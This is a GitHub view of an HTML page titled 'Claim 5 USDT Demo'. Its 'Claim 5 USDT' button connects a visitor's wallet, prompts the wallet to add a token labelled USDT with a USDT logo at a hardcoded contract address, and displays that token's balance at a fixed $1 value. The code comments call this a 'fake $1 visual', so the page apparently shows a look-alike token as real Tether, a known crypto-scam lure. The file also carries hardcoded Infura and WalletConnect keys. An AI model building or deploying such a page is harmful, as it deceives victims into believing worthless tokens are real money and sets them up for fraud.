-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
142 lines (123 loc) · 4 KB
/
index.html
File metadata and controls
142 lines (123 loc) · 4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Claim 5 USDT Demo</title>
<script src="https://cdn.jsdelivr.net/npm/web3@1.9.0/dist/web3.min.js"></script>
<script src="https://unpkg.com/@walletconnect/ethereum-provider/dist/umd/index.min.js"></script>
<style>
html, body {
height: 100%;
margin: 0;
font-family: Arial, sans-serif;
background: #f0f2f5;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
#claimBtn {
padding: 20px 40px;
font-size: 24px;
font-weight: bold;
color: #fff;
background: #1abc9c;
border: none;
border-radius: 12px;
cursor: pointer;
box-shadow: 0 6px 12px rgba(0,0,0,0.2);
transition: all 0.2s ease;
}
#claimBtn:hover {
background: #16a085;
transform: translateY(-2px);
box-shadow: 0 8px 16px rgba(0,0,0,0.25);
}
#tokenInfo {
margin-top: 30px;
text-align: center;
}
#tokenInfo img {
width: 50px;
vertical-align: middle;
margin-bottom: 10px;
}
</style>
</head>
<body>
<button id="claimBtn">Claim 5 USDT</button>
<div id="tokenInfo"></div>
<script>
const tokenAddress = "0x0D8C190055e5BdC488D00086CFdfE45A7704C28C";
const tokenDecimals = 6;
const tokenSymbol = "USDT";
const tokenLogo = "https://raw.githubusercontent.com/steve-beep-al/Usdt/main/IMG_2460.png";
const rpcUrl = "https://mainnet.infura.io/v3/1e9849934a564257b9a2c77ece0b15c5";
const tokenABI = [
{
"constant": true,
"inputs": [{"name": "_owner","type":"address"}],
"name": "balanceOf",
"outputs": [{"name": "balance","type":"uint256"}],
"type": "function"
}
];
let provider;
async function connectWallet() {
try {
const ProviderCtor = window['@walletconnect/ethereum-provider']?.EthereumProvider || window.WalletConnectEthereumProvider;
if (!ProviderCtor) {
alert("WalletConnect EthereumProvider not found.");
return;
}
provider = await ProviderCtor.init({
projectId: "620f234d8b3014c728764248cd2cebbc", // Replace with your WalletConnect Project ID
chains: [1], // Ethereum Mainnet
showQrModal: true,
rpcMap: {1: rpcUrl}
});
await provider.enable();
const web3 = new Web3(provider);
const accounts = await web3.eth.getAccounts();
if (!accounts || accounts.length === 0) return alert("No wallet connected.");
const user = accounts[0];
// === Prompt to add token in Trust Wallet / MetaMask ===
if (provider.request) {
try {
await provider.request({
method: 'wallet_watchAsset',
params: {
type: 'ERC20',
options: {
address: tokenAddress,
symbol: tokenSymbol,
decimals: tokenDecimals,
image: tokenLogo
}
}
});
} catch(e) {
console.log("Token watch request failed", e);
}
}
// === Show balance + fake $1 visual ===
const contract = new web3.eth.Contract(tokenABI, tokenAddress);
const rawBalance = await contract.methods.balanceOf(user).call();
const balance = rawBalance / (10 ** tokenDecimals);
const usdValue = balance * 1; // $1 visual
document.getElementById("tokenInfo").innerHTML = `
<img src="${tokenLogo}">
<p><strong>Token:</strong> ${tokenSymbol}</p>
<p><strong>Wallet:</strong> ${user}</p>
<p><strong>Balance:</strong> ${balance}</p>
<p><strong>Value (Visual):</strong> $${usdValue}</p>
`;
} catch (err) {
console.error(err);
alert("Connection failed: " + (err.message || err));
}
}
document.getElementById("claimBtn").addEventListener("click", connectWallet);
</script>
</body>
</html>